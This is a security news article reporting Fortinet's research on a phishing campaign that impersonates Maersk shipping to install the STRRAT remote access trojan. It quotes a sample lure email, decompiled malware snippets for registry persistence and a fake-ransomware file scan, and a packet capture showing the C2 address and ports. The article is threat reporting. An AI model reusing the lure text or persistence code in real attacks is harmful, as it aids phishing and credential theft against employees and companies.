Phishing impersonates shipping giant Maersk to push STRRAT malware

By **Bill Toulas (https://www.bleepingcomputer.com/author/bill-toulas/)**

January 21, 2022 12:54 PM **0**

A new phishing campaign using fake shipping delivery lures installs the STRRAT remote access trojan on unsuspecting victim's devices.

Fortinet discovered the new campaign after spotting phishing emails impersonating Maersk Shipping, a giant in the global shipping industry, and using seemingly legitimate email addresses.

If the recipient opens the attached document, the macro code that runs fetches the STRRAT malware (https://www.bleepingcomputer.com/news/microsoft/microsoft-massive-malware-campaign-delivers-fake-ransomware/) onto their machine, a powerful remote access trojan that can steal information and even fake ransomware attacks.

Impersonating Maersk shipping emails

As seen in the header information of the phishing emails, the messages are routed through recently registered domains that increase the risk of being flagged by email security solutions.

The email claims to be information about a shipment, changes in delivery dates, or notices regarding a fictitious purchase and includes an Excel attachment or links to one that pretends to be the related invoice.

```
Dear Sir / Madam,

Please find attached the following documents pertaining to your shipment and  M. V.  <http://v.al/> M-1(667.00 Mt)


Debit Note #

FCR #

Date of Payment

Chq # or UTR # in case of RTGS/NEFT

Chq/RTGS Amount

TDS, if any

HR202122T043082

R621152234

-

AXIC212661344468

56188

560

HR202122T043081
```

Example phishing email used in campaign

Source: Fortinet

In some cases, Fortinet's analysts sampled emails that carried ZIP files that contained the STRRAT malware, so no intermediate dropper in the form of a document was used.

The actors have obfuscated the contained packages by using the Allatori tool to evade detection from security products.

The STRRAT infection begins by decrypting the configuration file, copying the malware into a new directory, and adding new Windows registry entries for persistence.

```
try {
    if (W.ALLATORIxDEMO(-2147483647, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", var2, 0) == null) {
        var1 = "\"" + System.getProperty("java.home") + File.separator + "bin" + File.separator + "javaw.exe\" -jar \"" + FirstRun.E() + "\"";
        W.ALLATORIxDEMO(-2147483647, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", var2, var1, 0);
        W.ALLATORIxDEMO(-2147483646, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", var2, var1, 0);
    }
} catch (Exception var3) {
    var3.printStackTrace();
}
catch (Exception var5) {
```

Function responsible for writing new Registry entries

Source: Fortinet

The STRRAT threat

STRRAT malware first gathers basic information on the host system like the architecture and any anti-virus tools running on it and checks local storage and network capability.

In terms of its functionality, STRRAT can perform the following:

- Log user keystrokes
- Facilitate remote control operation
- Grab passwords from web browsers like Chrome, Firefox, and Microsoft Edge
- Steal passwords from email clients like Outlook, Thunderbird, and Foxmail
- Run a pseudo-ransomware module to simulate an infection

This last part is interesting because no files are encrypted in the fake ransomware attack. As such, it's most likely used to divert the victim's attention away from the real problem, which is the exfiltration of data.

However, considering that this module essentially blows the cover of STRRAT, its presence and deployment is somewhat contradictory.

```
public class q {
    private static String m = ".crimson";
    private String[] ALLATORIxDEMO;
    private String E;

    public final void B() {
        (new Thread(new S(a))).start();
    }

    public static boolean ALLATORIxDEMO() {
        Iterator var0 = ALLATORIxDEMO((new StringBuilder()).insert(0, System.getProperty("user.home")).append(File.separator).append("Documents").toSt

        do {
            if (!var0.hasNext()) {
                return false;
            }
        } while(!((String)var0.next()).endsWith(m));

        return true;
    }

    public final void E() {
        (new Thread(new r(a))).start();
    }

    q(String a) {
        a.E = a;
        a = (new StringBuilder()).insert(0, System.getProperty("user.home")).append(File.separator).toString();
        String[] var10001 = new String[3];
        boolean var10003 = true;
        boolean var10006 = false;
        var10001[0] = a + "Downloads";
        var10001[1] = (new StringBuilder()).insert(0, a).append("Documents").toString();
        var10001[2] = (new StringBuilder()).insert(0, a).append("Desktop").toString();
        a.ALLATORIxDEMO = var10001;
```

The pseudo-ransomware module

Source: Fortinet

Finally, the malware's communication method isn't very well optimized for stealthiness either.

"Examining that traffic in Wireshark shows STRRAT being exceptionally noisy. This is likely due to the C2 channel being offline at the time of the investigation," explains Fortinet's report (https://www.fortinet.com/blog/threat-research/new-strrat-rat-phishing-campaign)

"In its effort to obtain further instructions, the sample attempts to communicate over port 1780 and 1788 at one-second intervals, if not more in some instances."

No.	Time	Source	Destination	Protocol	Length	Info
2441	2021-12-29 16:12:29.726091	172.19.236.238	198.27.77.242	TCP	66	52699 → 1788 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK…
2443	2021-12-29 16:12:30.334868	172.19.236.238	198.27.77.242	TCP	66	[TCP Retransmission] 52699 → 1788 [SYN] Seq=0 Win=64240 Len=0…
2445	2021-12-29 16:12:30.944001	172.19.236.238	198.27.77.242	TCP	66	[TCP Retransmission] 52699 → 1788 [SYN] Seq=0 Win=64240 Len=0…
2449	2021-12-29 16:12:31.553487	172.19.236.238	198.27.77.242	TCP	66	[TCP Retransmission] 52699 → 1788 [SYN] Seq=0 Win=64240 Len=0…
2451	2021-12-29 16:12:32.162548	172.19.236.238	198.27.77.242	TCP	66	[TCP Retransmission] 52699 → 1788 [SYN] Seq=0 Win=64240 Len=0…
2453	2021-12-29 16:12:32.267740	172.19.236.238	198.27.77.242	TCP	66	52700 → 1780 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK…

C2 addresses spotted in the campaign

Source: Fortinet

Trojans like STRRAT often go ignored for being less sophisticated and more randomly deployed. However, this phishing campaign demonstrates that lesser threats in circulation can still deliver damaging blows to companies.

The phishing emails used in this campaign blend very homogeneously with day-to-day corporate communications in companies that deal with shipments and transportation, so it only takes a tired or careless employee for the damage to be done.